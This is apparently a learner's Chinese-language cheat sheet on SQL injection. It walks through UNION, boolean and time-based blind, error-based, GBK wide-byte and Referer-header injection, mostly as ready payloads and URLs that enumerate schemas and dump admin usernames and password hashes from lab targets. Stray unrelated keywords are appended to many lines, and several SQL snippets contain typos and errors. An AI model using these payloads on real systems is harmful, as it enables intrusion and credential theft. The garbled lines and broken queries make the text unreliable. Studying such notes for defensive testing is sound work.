首先什麼是SQL注入:php
所謂SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。前端
SQL注入有什麼危害?mysql
危害:數據泄露、脫庫、篡改網站、破壞數據庫、植入後門、getshell(獲取網站權限)面試
爲何會有SQL注入漏洞?sql
後端代碼在執行的過程將用戶輸入的數據也當作代碼來執行,違背一個原則:代碼和數據相分離(本質問題)shell
前段傳遞的數據能夠隨意控制,參數可控;後端對前段傳遞過來的數據沒有過濾或者過濾不嚴謹,最終致使SQL注入(注入的緣由)數據庫
首先本人如今只學了四五種SQL注入方式,僅做爲學習參看,若有錯誤多多見諒=。=後端
SQL注入本人認爲只要能找到注入點就簡單了,大不了各類方式往上面試嘍,雖然時間成本很大。瀏覽器
因此所只要在有跟數據庫進行交互的地方就有可能出現SQL漏洞,在這些地方找注入點就很重要啦。服務器
SQL注入經常使用的數據庫函數及常量
經常使用的數據庫函數以及常量
@@tmpdir 臨時目錄
@@datadir
@@basedir 數據庫所在的位置
@@version 版本
@@hostname 當前數據庫名字
user()
version() 版本
database() 獲取數據庫
concat()
group_concat()
concat_wa()
substr():oracle,mysql,mssq l/substring():mysql,mssql /mid():mysql 截取字符串
注意:均有三個參數,第一個是被截取的字符,第二個是開始索引,第三個是截取的長度
left(pa1(截取字符串),pa2(截取的長度)) 從左邊開始截取字符串
right(pa1(截取字符串),pa2(截取的長度)) 從右邊開始截取字符串
sleep() 讓數據庫休眠的
ord() 顯示字符的ascll
if(條件,條件爲真時的返回值或者語句,條件爲假時的返回值或者語句)
if(1=1,true,false)
case when 條件 then 條件爲真時的返回值或語句 elas 條件爲假時的返回時或語句 end
SELECT 1,CASE WHEN 1=1 THEN "hallo" ELAS "goodbye" END,3;
length() 計算字符串的長度
聯合查詢:
SELECT * FROM USERS WHERE id=1 UNION SELECT "a","b","c";
select * from users where user_id=0,1 union select 1,2,union select 1,2,user(),4,5,database(),7;
mysql數據庫中:一庫一表三字段
mysql>5,0
information_schema mysql>5.0以後自帶的,系統庫,彙總(其餘數據庫的庫名、表名、字段名)
columns表中存儲數據(庫名、表名、字段名),須要關注該表下的三個字段
table_schema 字段存儲其餘數據庫的庫名
table_name 字段存儲其餘數據庫的表名
column_name 字段存儲其餘數據庫的字段名
select table_schema,table_name,column_name from information_schema.columns; //查詢table_schema(庫名)、table_name(表名)、column_name(字段名)對應的數據。
select table_schema,table_name,column_name from information_schema.columns where table_schema="dvwa"; 查詢數據庫彙總中dvwa庫下的全部表和字段(16進制執行dvwa也能夠)
1、手工注入(就是一頓敲啊敲){共分爲7步,我認爲五步就夠用了}
一、檢測注入點(可能存在SQL注入的地方),找到相似ID(id/uid/typeid/sid/key~~)的參數(Google Hacking:),後面須要輸入一些檢測的惡意代碼:
'
'and 1=1#
'and 1=2--
-1' or '1'='1
~~~~~~~
需不須要單引號,是由後端的拼接的SQL語句決定的,例如:
id='$id' 前端測試:id=1' and 1=1%23
id=$id 前端測試:id=1 and 1=1%23
輸入的惡意payload被成功執行(頁面顯示效果以及報錯信息),說明此處有SQL注入點
接下來還要判斷注入方式:主要根據頁面的回顯效果來決定使用哪一種注入技術
判斷從後臺數據庫中選擇的列數,以及哪幾列在前端顯示?
http://localhost/jdy1.5/typeid.php?typeid=1 order by 5%23
更換數字,根據頁面顯示效果判斷後臺數據庫選擇的列數,5列
union select 1,2,3,4,5%23
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,2,3,4,5%23
根據頁面顯示效果可知在2的位置顯示到前段,便可將2替換爲SQL語句
二、收集後臺數據庫信息
查看當前用戶:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,user(),3,4,5%23
查看當前數據庫:http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,databases(),3,4,5%23
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23 查看全部的庫
grout_concat 分組並拼接 distinct 去重
三、獲取當前數據庫的表名
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=jdycms),3,4,5%23 // jdycms須要轉16進制
四、獲取當前數據庫下指定表下字段名
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=jdy_admin ),3,4,5%23
jdy_admin 須要轉16進制
五、獲取字段數據
http://localhost/jdy1.5/typeid.php?typeid=1000000000000 union select 1,(select group_concat(username,0x7e,password) from jdy_admin limit 0,1 ),3,4,5%23
limit 0,1 從0行開始顯示第一行 0x7e是~
group_concat 顯示所有 concat顯示選定行
六、解密:cmd5 pmd5 等等不少的解密方式
七、找後臺登陸:猜、目錄掃描、信息收集
2、盲注:(分爲時間盲注和布爾盲注)
盲注:用戶提交的數據在後臺數據庫中執行以後,沒有返回任何數據,沒法在前端顯示測試出的數據,此時須要使用盲注技術、
基於布爾的盲注
基於時間的盲注
基於布爾的盲注:
一、探測輸入點 '/ 1' and 1=1%23 / 1' and '1'='1%23
注意:用戶移交的數據被帶入到後臺數據庫中執行,根據頁面顯示效果判斷此處是否存在注入點
二、收集數據庫信息(當前用戶名、當前數據庫、版本、)
http://localhost/sqli-labs-master/Less-8/index.php?id=10' and length(user())=14%23
用戶長度是14(使用bp依次去爆破)
三、
http://localhost/sqli-labs-master/Less-8/index.php?id=10' and ascii(substr(user(),1,1))=114%23
(使用asc碼去依次的判斷字符)用戶首字母是asc馬的114也就是r後續依次去判斷 root@localhost
ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=114
先計算某個表的名字的長度,而後在判斷每一個字符
最終找到有價值的表:users
四、獲取執行表的字段名
select distinct column_name from information_schema.columns where table name=0x7573657273 and table_schema=database() limit 0,1
字段首字母是i,後續依次去判斷第一個字段名,第二字段名~~~~
最後找出敏感的字段:username password
五、後去指定字段數據
select group_concat(username,0x7e,password) from users limit 0,1
六、解密密文數據,登陸後臺
基於時間法盲注:
時間的概念:使用特定的函數讓數據庫去執行,在頁面等待必定的時間,來查看當前頁面中注入狀況
函數:sleep()
select * from dvwa.users where user_id=1 and if(database(user())=14,sleep(5),'true');
最終沒有返回值,須要關注的是瀏覽器的響應時間
benchmark(參數1,參數2),蠶食1表示執行多少次,參數2是某項操做,使用函數或者表達式。 select benchmark(1000000,1000*1000);
一、找到注入點
二、獲取數據庫信息
當前數據庫的長度:
select * from dvwa.users where user_id=1 and if(database(database())=14,sleep(5),'true');
獲取每一個字符
select * from dvwa.users where user_id=1 and if(ascii(substring(database(),1,1))=114,sleep(5),'true');
三、獲取當前數據庫的表
select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() limit 0,1),1,1))=102,sleep(5),'true');
找價值的表,user
四、獲取指定表中的字段
select * from dvwa.users where user_id=1 and if(ord(mid((select distinct table_name from infomation_schema.tables where table_schema=database() and table_name=0x7573657273 limit 0,1),1,1))=102,sleep(5),'true');
找有意義的字段,username password
五、獲取內容
select * from dvwa.users where user_id=1 and if(ord(mid((select concat(admin,0x7e,password)from dvwa.users limit 0,1)1,1))=102,sleep(5),'true');
3、報錯注入:(便是根據錯誤回顯進行判斷)
基於報錯的注入
報錯的含義:利用一些報錯的函數構造payload,數據庫執行以後會報錯,並將咱們須要的數據帶出來,達到攻擊的目的
報錯的函數:
(1)extractvalue(參數1,參數2) 從目標XML中返回查詢到的字符串,參數1是string格式的XML文檔名,參數2是XPATH格式的字符串(須要查詢的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
(2)updatexml(參數1,參數2,參數3) 改變XML文檔中符合條件的節點的值,參數1是xml文檔,參數2是Xpath格式的字符串,參數3是string格式的替換查找符合條件的數據
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
注意:前二者報錯長多有限制32位
(3)floor()函數,必須和conut()計數 rand()產生0-1之間的隨機小數,若是給了參數(種子),那麼會根據該種子產生固定的值 goup by 等函數配合使用(可以達到相同目的的函數均可以替換去使用!)
select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from infomation_schema.tables group by x)a
(select count(*)全部記錄作個統計,concat(user(),floor(rand(0)*2))拼接兩個參數總體做爲x from infomation_schema.tables group by x根據X進行排序)a
經過floor報錯的方法來爆數據的本質是group by語句的報錯。group by語句報錯的緣由是floor(random(0)*2)的不肯定性,便可能爲0也可能爲1(group by key的原理是循環讀取數據的每一行,將結果保存於臨時表中。讀取每一行的key時,若是key存在於臨時表中,則不在臨時表中則更新臨時表中的數據;若是該key不存在於臨時表中,則在臨時表中插入key所在行的數據。group by floor(random(0)*2)出錯的緣由是key是個隨機數,檢測臨時表中key是否存在時計算了一下floor(random(0)*2)可能爲0,若是此時臨時表只有key爲1的行不存在key爲0的行,那麼數據庫要將該條記錄插入臨時表,因爲是隨機數,插時又要計算一下隨機值,此時floor(random(0)*2)結果可能爲1,就會致使插入時衝突而報錯。即檢測時和插入時兩次計算了隨機數的值。
4、寬字節注入:(主要是根據轉義特殊字符的注入)
mysql_query("SET NAMES 'gbk'");//設置字符集編碼
mysql_set_charset("GBK");//設置字符集編碼
mysql_real_escape_string()
對參數進行過濾轉義,具備相似功能的函數有:addslacher()、mysql_escape_string()【php5.3以後就廢除了】、魔術引號(magic_quotes_gpc 模塊),針對特殊符號 ' " \ null < > 等,
GBK編碼,針對漢字的一種編碼方式,使用兩個字節編碼一個漢字
1%df' = 1%df\' = 1%df%25%27 =1(%df%25)%27 = 1運'
SELECT * FROM news WHERE tid='{$id}'
SELECT * FROM news WHERE tid='{1運'}' -->會報錯
漏洞造成原理:對數據庫執行以後的結果進行gbk編碼,執行過濾你函數會對用戶提交的數據進行過濾=寬字節
測試步驟
一、訪問站點http://localhost/gbksql/01/?id=1' 查看返回結果
二、http://localhost/gbksql/01/?id=1%df' (爲啥使用df?高位在81之後就能用,81~fe) 1%df'---->1%df\'--->1%df5c--->1\運'
三、 http://localhost/gbksql/01/?id=-1%81' union select 1,user(),3%23
PDO寬字節防止SQL注入:
PDO:鏈接數據庫--》設置模板--》綁定數據--》執行SQL語句
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES,false) 防止大部分的SQL注入
https://www.jianshu.com/p/c0deb8061718
5、二次編碼注入:
瀏覽器會對from表單中的數據進行一次URL編碼,到達服務器以後會默認解碼
PHP中URL解碼函數有: urldecode() rawurldecode()
6、HTTP頭部SQL注入:(基於HTTP響應包的一種注入方式)
步驟1:數據庫名security
Referer: ' or updatexml(1,concat('#',(database())),0),'')#
步驟2:表名users
Referer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
步驟3:字段名id、username、password
Referer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#
步驟4:數據
Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#